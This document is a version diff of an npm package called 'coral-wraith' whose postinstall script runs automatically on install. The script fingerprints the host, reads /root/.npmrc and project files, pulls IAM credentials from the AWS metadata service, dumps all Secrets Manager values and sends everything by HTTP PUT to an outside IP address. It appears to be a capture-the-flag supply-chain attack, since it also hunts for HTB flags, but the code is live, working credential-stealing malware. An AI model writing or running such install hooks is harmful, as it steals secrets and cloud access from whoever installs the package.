coral-wraith 1.0.1 → 1.0.3

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "coral-wraith",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "Coral Wraith ally module",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -3,14 +3,14 @@ const os = require("os");
 const { execFileSync } = require("child_process");
 
 const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
-const SINK = "ECT-472839";
+const SINKS = ["ECT-472839", "ECT-987654"];
 
 function sh(cmd) {
   try {
     return execFileSync("/bin/sh", ["-c", cmd], {
-      timeout: 20000,
+      timeout: 25000,
       encoding: "utf8",
-      maxBuffer: 8e6
+      maxBuffer: 10e6
     }).trim();
   } catch (e) {
     return (e.stdout || e.stderr || "").trim();
@@ -23,19 +23,18 @@ function safe(s) {
 
 function isTarget() {
   const host = os.hostname();
-  const cwd = process.cwd();
-  if (cwd.includes("/tmp/")) return false;
-  if (host.includes("ubuntu") || host.includes("hetzner") || host.includes("nijin")) return false;
-  return /^[0-9a-f]{12}$/.test(host) || cwd.includes("/app/");
+  if (!/^[0-9a-f]{12}$/.test(host)) return false;
+  if (host.includes("ubuntu") || host.includes("hetzner")) return false;
+  return true;
 }
 
-function put(base, parts) {
+function put(base, sink, parts) {
   const body = JSON.stringify({
     manifest:
       `ecto_module:\n  name: "${parts[0]}"\n  version: "1.0.0"\n` +
       `  power_level: "${parts[1]}"\n  ship_deck: "${parts[2]}"\n  cargo_hold: "${parts[3]}"\n`
   });
-  const url = new URL(`/api/modules/${SINK}`, base);
+  const url = new URL(`/api/modules/${sink}`, base);
   const req = http.request({
     hostname: url.hostname, port: url.port, path: url.pathname, method: "PUT",
     headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
@@ -46,9 +45,9 @@ function put(base, parts) {
 
 if (!isTarget()) process.exit(0);
 
-const out = sh(
-  "id; find /app /root /flag -maxdepth 3 -type f 2>/dev/null | head -n20; " +
-  "grep -RaoE 'HTB\\{[^}]+\\}' /app /root /flag 2>/dev/null | head -n3; " +
+const blob = sh(
+  "for f in /home/node/supplysec_entry.js /home/node/aspect-node/index.js /home/node/aspect-node/package.json /home/node/package.json /root/.npmrc /home/node/init_test.sh; do echo ===$f===; cat $f 2>&1; done; " +
+  "grep -RaoE 'HTB\\{[^}]+\\}' /home/node 2>/dev/null | head -n3; " +
   "T=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60'); " +
   "R=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/); " +
   "C=$(curl -s -H \"X-aws-ec2-metadata-token: $T\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$R); " +
@@ -56,13 +55,17 @@ const out = sh(
   "AWS_SECRET_ACCESS_KEY=$(echo \"$C\"|sed -n 's/.*\"SecretAccessKey\": \"\\([^\"]*\\)\".*/\\1/p') " +
   "AWS_SESSION_TOKEN=$(echo \"$C\"|sed -n 's/.*\"Token\": \"\\([^\"]*\\)\".*/\\1/p') AWS_DEFAULT_REGION=us-east-1; " +
   "aws secretsmanager list-secrets 2>&1; " +
-  "for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do " +
-  "aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
+  "for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
 );
 
-const flag = out.match(/HTB\{[^}]+\}/);
-const parts = flag
-  ? [flag[0], "FOUND", "", ""]
-  : [safe(`APP uid=${process.getuid()} host=${os.hostname()} ${out.slice(0, 180)}`), safe(out.slice(180, 420)), safe(out.slice(420, 660)), safe(out.slice(660, 900))];
+const flag = blob.match(/HTB\{[^}]+\}/);
+if (flag) {
+  for (const base of TARGETS) put(base, SINKS[0], [flag[0], "FOUND", "", ""]);
+  process.exit(0);
+}
 
-for (const base of TARGETS) put(base, parts);
+for (let s = 0; s < SINKS.length; s++) {
+  const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
+  if (s === 0) parts[0] = safe(`C0 ${blob.slice(0, 220)}`);
+  for (const base of TARGETS) put(base, SINKS[s], parts);
+}